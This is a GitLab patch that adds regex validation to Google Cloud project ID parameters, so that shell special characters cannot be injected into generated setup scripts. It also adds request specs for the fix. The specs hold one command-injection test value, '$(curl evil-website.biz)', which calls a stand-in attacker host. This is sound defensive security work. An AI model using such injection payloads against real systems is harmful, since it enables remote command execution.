From a1d0936d27905409436ea27331e5ee044c1ffbf9 Mon Sep 17 00:00:00 2001
From: Andrew Evans <aevans@gitlab.com>
Date: Tue, 23 Jul 2024 16:32:28 +0000
Subject: [PATCH] Restrict project ID parameters for GAR setup scripts
These scripts currently allow any string parameters, but they are
expecting a Google Project ID. We should restrict these parameters so
that shell special characters cannot be passed into the scripts through
URL parameters.
Changelog: fixed
EE: true
---
.../api/project_google_cloud_integration.rb | 6 ++--
.../project_google_cloud_integration_spec.rb | 32 +++++++++++++++++++
2 files changed, 36 insertions(+), 2 deletions(-)
diff --git a/ee/lib/api/project_google_cloud_integration.rb b/ee/lib/api/project_google_cloud_integration.rb
index 6a60b1bd59c5a..80431b0afa300 100644
--- a/ee/lib/api/project_google_cloud_integration.rb
+++ b/ee/lib/api/project_google_cloud_integration.rb
@@ -6,6 +6,8 @@ class ProjectGoogleCloudIntegration < ::API::Base
include GrapePathHelpers::NamedRouteMatcher
+ GOOGLE_PROJECT_ID_REGEXP = /\A[a-z][a-z0-9-]{5,28}[a-z0-9]\z/
+
before { authorize_admin_project }
before do
not_found! unless ::Gitlab::Saas.feature_available?(:google_cloud_support)
@@ -21,7 +23,7 @@ class ProjectGoogleCloudIntegration < ::API::Base
end
params do
optional :enable_google_cloud_artifact_registry, types: Boolean
- optional :google_cloud_artifact_registry_project_id, types: String
+ optional :google_cloud_artifact_registry_project_id, types: String, regexp: GOOGLE_PROJECT_ID_REGEXP
at_least_one_of :enable_google_cloud_artifact_registry
end
get '/integrations.sh' do
@@ -59,7 +61,7 @@ class ProjectGoogleCloudIntegration < ::API::Base
detail 'This feature is experimental.'
end
params do
- requires :google_cloud_project_id, types: String
+ requires :google_cloud_project_id, types: String, regexp: GOOGLE_PROJECT_ID_REGEXP
end
get '/runner_deployment_project.sh' do
env['api.format'] = :binary
diff --git a/ee/spec/requests/api/project_google_cloud_integration_spec.rb b/ee/spec/requests/api/project_google_cloud_integration_spec.rb
index 20cf8bddf1804..49926601ad073 100644
--- a/ee/spec/requests/api/project_google_cloud_integration_spec.rb
+++ b/ee/spec/requests/api/project_google_cloud_integration_spec.rb
@@ -43,6 +43,30 @@
end
end
+ shared_examples 'does not return the shell script' do |invalid_param:|
+ let(:invalid_google_project_ids) do
+ [
+ '$(curl evil-website.biz)',
+ 'abcd',
+ 'a' * 31,
+ 'my-project-',
+ 'Capital-Letters'
+ ]
+ end
+
+ it do
+ invalid_google_project_ids.each do |project_id|
+ get(api(path, owner), params: {
+ enable_google_cloud_artifact_registry: true,
+ "#{invalid_param}": project_id
+ })
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq("#{invalid_param} is invalid")
+ end
+ end
+ end
+
describe 'GET /projects/:id/google_cloud/setup/runner_deployment_project.sh' do
let(:path) { "/projects/#{project.id}/google_cloud/setup/runner_deployment_project.sh" }
let(:params) do
@@ -62,6 +86,10 @@
stub_saas_features(google_cloud_support: true)
end
+ context 'when google_cloud_project_id is invalid' do
+ it_behaves_like 'does not return the shell script', invalid_param: :google_cloud_project_id
+ end
+
it_behaves_like 'an endpoint generating a bash script for Google Cloud'
end
end
@@ -89,6 +117,10 @@
create(:google_cloud_platform_workload_identity_federation_integration, project: project)
end
+ context 'when google_cloud_artifact_registry_project_id is invalid' do
+ it_behaves_like 'does not return the shell script', invalid_param: :google_cloud_artifact_registry_project_id
+ end
+
it_behaves_like 'an endpoint generating a bash script for Google Cloud'
end
--
GitLab